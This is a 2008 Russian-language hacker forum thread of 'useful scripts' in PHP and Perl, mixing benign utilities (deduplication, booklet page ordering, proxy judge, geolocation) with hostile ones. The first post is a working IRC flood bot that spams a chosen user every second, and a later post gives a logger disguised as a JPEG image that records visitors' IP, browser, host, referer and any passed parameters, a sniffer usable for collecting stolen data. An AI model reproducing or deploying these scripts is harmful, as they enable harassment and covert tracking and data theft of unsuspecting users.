Войти или зарегистрироваться
Выберите удобный способ — аккаунт создастся автоматически.
Или войдите по логину и паролю
 |
|
03.06.2008, 21:09
|
|
Постоянный
Регистрация: 29.09.2007
Сообщений: 617
С нами:
9798086
Репутация:
999
|
|
Irc фулд бот...
PHP код:
<?
set_time_limit(0);
$botname="Boot2Flood"; //ниг бота
$channel="#123"; //chanell
$address="localhost"; //irc server
$port="6667"; //port
$pass=""; //пасс но он тут врятле пригодиццо
$hellomsg="ВЫПЕЙ иаДУ :\\"; //флудо месага
$baduser="#123"; //это нехароший канал или юзверь
$s=fsockopen($address, $port) or die("FATAL: Cannot connect to $address:$port");
fputs($s, "USER bot no no :$botname\r\n");
fputs($s, "NICK :$botname\r\n");
fputs($s, "IDENTIFY :$pass\r\n");
fputs($s, "JOIN $channel\r\n");
fputs($s, "PRIVMSG $channel :".chr(1)."ACTION педоратор $baduser детектед преступаю к флудерастенгу!".chr(1)."\r\n");
while(true){
fputs($s, "PRIVMSG $baduser :".chr(1)."ACTION $hellomsg".chr(1)."\r\n"); //цикл с флудом =)
sleep(1);
}
?>
|
|
|
03.06.2008, 21:14
|
|
Познавший АНТИЧАТ
Регистрация: 01.04.2007
Сообщений: 1,268
С нами:
10058786
Репутация:
4589
|
|
Без проксей и под 1м ником будет забанен через пару секунд автоматом ..
|
|
|
|
05.06.2008, 15:43
|
|
Участник форума
Регистрация: 09.03.2008
Сообщений: 193
С нами:
9564806
Репутация:
267
|
|
PHP-Getting
Что нового:
1. Сделаны галки в менеджере.
2. Возможность добавления комментариеви сохранение ссылок.
3. Переименовывание в файл-менеджере
4. Добалены getfile.biz, webfile.ru, slil.ru / zalil.ru.
5. Заново исправлена почтовая функция ;-) Надеюсь в последний раз...
Описание:
Скрипт умеет сливать файлы с rapidshare.de, www.megaupload.com, www.upload2.net, www.mytempdir.com, getfile.biz, webfile.ru, slil.ru или zalil.ru, по прямым ссылкам, включая ftp (с возможностью авторизации), плюс умеет разбивать файлы на части и отправлять их на почтовый ящик. И ещё имеет удобный менеджер скаченных файлов для проведения операций над ними.
НАСТРОЙКА:
1). Создайте папку на сервере, выставьте на неё права (chmod) 777.
2). Залейте в папку скрипт и используйте по назначению 
Ссылки:
http://slil.ru/25867346
http://dump.ru/file_catalog/442257 |
|
|
|
14.06.2008, 13:13
|
|
Постоянный
Регистрация: 22.04.2006
Сообщений: 566
С нами:
10554411
Репутация:
517
|
|
Описание:
Скрипт для генерации последовательности печати "книжкой"
PHP код:
<?
$sheets=14; // число листов в буклете
$l=1;
$r=$sheets*4;
for($k=1;$k<=$sheets;$k++)
{
// echo "Sheet ".$k." :<br>";
// echo "side 1: ". $l ." & ". $r ."<br>";
echo $r.','.$l.','; // для печати 1 стороны
$l++;
$r--;
// echo "side 2: ". $l ." & ". $r ."<br>";
//echo $r.','.$l.','; // для печати 2 стороны // расскоментить по очереди
$l++;
$r--;
}
либо генерирует последовательность, либо системными вызовами переименовывает странички, чтобы из них собрать единый пдф для печати.
ИМХО: шпоры хорошо печатает  )) |
|
|
|
16.06.2008, 20:08
|
|
Banned
Регистрация: 19.10.2007
Сообщений: 152
С нами:
9769519
Репутация:
415
|
|
114 Power Scripts - набор из 114 CGI-скриптов. На некотором сайте продаётся за 9,99$ Для тех кто занимается сайтостроением и SEO подборочка будет однозначно незаменима...
Льём отсюда .
В архиве есть подробное описание на все скрипты, здесь пишу только названия:
401 Neutralizer Password Hurler Blocker
Affiliate Ad Rotator
Agents of Fortune
Agents Unlimited
Agents of Fortune Professional
All Whois
Anypage - Documentation inside tarball
Automark
Autonic
Automatic Useradd
Automatic MYSQL Backup
Autopopper Secure Email Attatchment System
Autoresponder System
Autothumb
Adult Verification System
Nightly Backup
Superfast Banner Rotator
Bannergate
Batch Credit Card Processor
Blackwidow Spider
IBILL Broker
CGI Spammer Jammer
Chameleon
Clicktraders Link Exchange
Clickblaster
Cyberstash
Database
Data Extractor
Dbay Auction Software
DNS Research Tool
Domain Name Popularity Scanner - Dox inside tarball
Domain Stalker
Free For All Link Network
Remote FTP Server
Form Mail Replicator
Password Hurler
Fake Crontab - Documentation inside Tarball
HTML Parser
HTMLOCK
HTML Rotator
IBILL Processor
Installment Plan
Keyword Harvester
Landmine Data Mining Blocker
Linksorter
Magic 8 Ball
Mailman
Mail Jacker
Mastergate
Matchmasters
Matchmasters Professional
Microcities
Micro Email Extractor
Microsearch
MIMEMailer
MimeMailer II
Multiple Domain Host
Password Nazi
Newswire
Newsbot
On Hold Domain Scanner
Opt In Pro
PC Authorize Gateway
Perl Script Decrypter
Portal Analyzer
Regular Expression Filter
Replicating Guestbook
Revshare Toolkit
Revshare Professional
Sales Lead Affiliates
Sales Lead Generator
Simple Safelist
Site Search Pro
Slot Machine
Spam Killer
Super Spider
Stealth Server
Supercart
Superchat
Supercloaker
Superclix
Superclix Professional
Superfetch
Supergate
Supermall
Super Sorter
Superstats DONT BUY WEB TRENDS!
Super Whois
Topsites Professional
Form Mail 2000
Bandwidth Valve
Usenet Autoresponder (documentation included in download file)
Virtual Telnet
Vterm Credit Card Processor
Wahoo Search Engine Promoter
Whois Data Parser
Wormburner (documentation included in download file)
Xtractor PRO
|
|
|
|
небольшой php-скрипт, который записывает все посещения страницы в лог файл |
18.06.2008, 12:43
|
|
Познающий
Регистрация: 22.03.2007
Сообщений: 45
С нами:
10073196
Репутация:
9
|
|
небольшой php-скрипт, который записывает все посещения страницы в лог файл
PHP код:
<?
/**
небольшой php-скрипт, который записывает все посещения страницы в лог файл
автор не я, но честно не помню кто..
*/
$query = @$_SERVER['QUERY_STRING'];
if ($query == "" or !ereg("^loged=1", $query))
{
$get_time = date("d.m.Y (H:i:s)", time());
$get_ip = getenv("REMOTE_ADDR");
$get_browser = getenv("HTTP_USER_AGENT");
$get_port = getenv("REMOTE_PORT");
$get_connect = $_SERVER['HTTP_CONNECTION'];
$get_host = gethostbyaddr(getenv("REMOTE_ADDR"));
$get_referer = @$_SERVER['HTTP_REFERER'];
$fopen = fopen ("log.txt", "a+");
fputs ($fopen, "\n---------- Detected at $get_time--------------\n");
fputs ($fopen, "IP: $get_ip\n");
fputs ($fopen, "Browser: $get_browser\n");
fputs ($fopen, "Port: $get_port\n");
fputs ($fopen, "Host: $get_host\n");
fputs ($fopen, "Connection: $get_connect\n");
fputs ($fopen, "Referer: $get_referer\n");
fclose ($fopen);
die("");
}
else if (ereg("^loged=1", $query))
{
$fopen = fopen ("log.txt", "a+");
foreach ($_GET as $key => $value)
fputs ($fopen, "$key $value");
fclose ($fopen);
header ('Content-type: image/jpeg');
die (readfile("real_photo.jpg"));
}
?>
|
|
|
|
19.06.2008, 15:22
|
|
Новичок
Регистрация: 12.06.2008
Сообщений: 8
С нами:
9427612
Репутация:
12
|
|
очень простой Proxy Judge (судья, типа) начинающему
PHP код:
<?php
echo "<b>ProxyJudge V1.0.0</b><br>";
echo "<pre>\n";
echo "HTTP_ACCEPT = ".$_SERVER['HTTP_ACCEPT']."\n";
echo "HTTP_ACCEPT_CHARSET = ".$_SERVER['HTTP_ACCEPT_CHARSET']."\n";
echo "HTTP_ACCEPT_LANGUAGE = ".$_SERVER['HTTP_ACCEPT_LANGUAGE']."\n";
echo "HTTP_CONNECTION = ".$_SERVER['HTTP_CONNECTION']."\n";
echo "HTTP_HOST = ".$_SERVER['HTTP_HOST']."\n";
echo "HTTP_USER_AGENT = ".$_SERVER['HTTP_USER_AGENT']."\n";
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
echo "HTTP_X_FORWARDED_FOR = ".$_SERVER['HTTP_X_FORWARDED_FOR']."\n";
}
if(isset($_SERVER['HTTP_VIA'])){
echo "HTTP_VIA = ".$_SERVER['HTTP_VIA']."\n";
}
echo "REMOTE_ADDR = ".$_SERVER['REMOTE_ADDR']."\n";
echo "REMOTE_PORT = ".$_SERVER['REMOTE_PORT']."\n";
echo "REQUEST_METHOD = ".$_SERVER['REQUEST_METHOD']."\n";
echo "REQUEST_URI = ".$_SERVER['REQUEST_URI']."\n";
echo "\n</pre>";
?>
геолокейшн на perl (может кому пригодится,
сам использую для различного таргетинга, лукапа прокси и пр., скрин работы - http://caco-daemon.ueuo.com/a.html)
перл-модуль лежит здесь:
http://ppm4.activestate.com/MSWin32-...P2Location.ppd
база-данных здесь:
http://www.ip2location.com/developers.aspx
ограничение бесплатной базы:
IP от 0.0.0.0 до 99.255.255.255
PHP код:
use bytes;
use Net::hostent;
use Geo::IP2Location;
sub get_geoloc(){
my $host="";
if(defined($_[0])){
$host=$_[0];
}else{
return 0;
}
my $ip=0;
if($host !~ /^(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9])\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[0-9])$/i){
print "resolving $host: ";
unless($h=gethost($host)){
warn "no such host: $host\n";
return 0;
}
$ip=inet_ntoa($h->addr);
print "$ip\n";
}else{
$ip=$host;
}
# путь к базе данных
# сменить, естественно
my $geodb="c:\\strawberry\\perl\\site\\lib\\auto\\Geo\\IP2Location\\IP-COUNTRY-REGION-CITY-LATITUDE-LONGITUDE-ZIPCODE-TIMEZONE-ISP-DOMAIN-NETSPEED-SAMPLE.BIN";
my $obj=Geo::IP2Location->open($geodb) or print "geolocation disabled\n";
unless($obj != 0){ return 0; }
my @info=$obj->get_all("$ip"); my $n=0;
print "*--------------------*\n";
foreach $dt (@info){
if($dt =~ "INVALID"){
print "got wrong IPv4 address\n";
return 0;
}
if($dt eq "??"){
print "no information about $ip\nfree database limitations :(\n";
return 0;
}
if($dt !~ "unavailable" and $n ne 0 and length($dt) > 0){
# печатаем всё, кроме шорт-кода страны
print "$dt";
}
$n++;
}
print "\n";
print "*--------------------*\n";
return @info;
}
если видел кто полную версию геоип базы (от ip2location) по торрентам/рапидам - сообщите
писал как-то геолок на php (maxmind) + автоген google карты, если кому надо - поищу, скину. |
|
|
|
24.06.2008, 15:59
|
|
Познавший АНТИЧАТ
Регистрация: 07.01.2007
Сообщений: 1,263
С нами:
10179806
Репутация:
702
|
|
А на пыхе забацаешь такой? Появилась необходимость фильтровать несколько стран...
Уже нашёл...
Если кому надо: ТЫЦ
Последний раз редактировалось inlanger; 24.06.2008 в 16:17..
|
|
|
|
25.06.2008, 13:20
|
|
Познавший АНТИЧАТ
Регистрация: 16.04.2006
Сообщений: 1,488
С нами:
10562786
Репутация:
537
|
|
раз есть тема "полезные скрипты", значит быть ему здесь.
а если удалят - то знач Исис таки превышает полномочия
вот тут, собственно бесплатный javascript mp3grabber для vkontakte.ru
http://3453620.livejournal.com/15421.html
добавив его в свой браузер, вы сможете видеть прямые ссылки на музыку, выложенную вконтакте, на той же самой странице, под левым меню.
всё очень просто.
по ссылке дано подробное описание установки и использования.
|
|
|
|
26.06.2008, 14:38
|
|
Участник форума
Регистрация: 24.05.2007
Сообщений: 229
С нами:
9982466
Репутация:
309
|
|
Недавно возникла необходимость для себя написать скрипт, удаляющий дупликаты. Кому надо - забирайте.
PHP код:
<?
$file_in = file("file_in.txt");
$a = count($file_in);
$strings = array_unique(File("file_in.txt"));
$file_out = fopen("file_out.txt", "w");
fwrite ($file_out,implode("",$strings));
$file = file("file_out.txt");
$b = count($file);
fclose($file_out);
$c = $a - $b;
echo ("После удаления дупликатов осталось $b строк. Дупликатов - $c")
?>
|
|
|
|
|
|
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
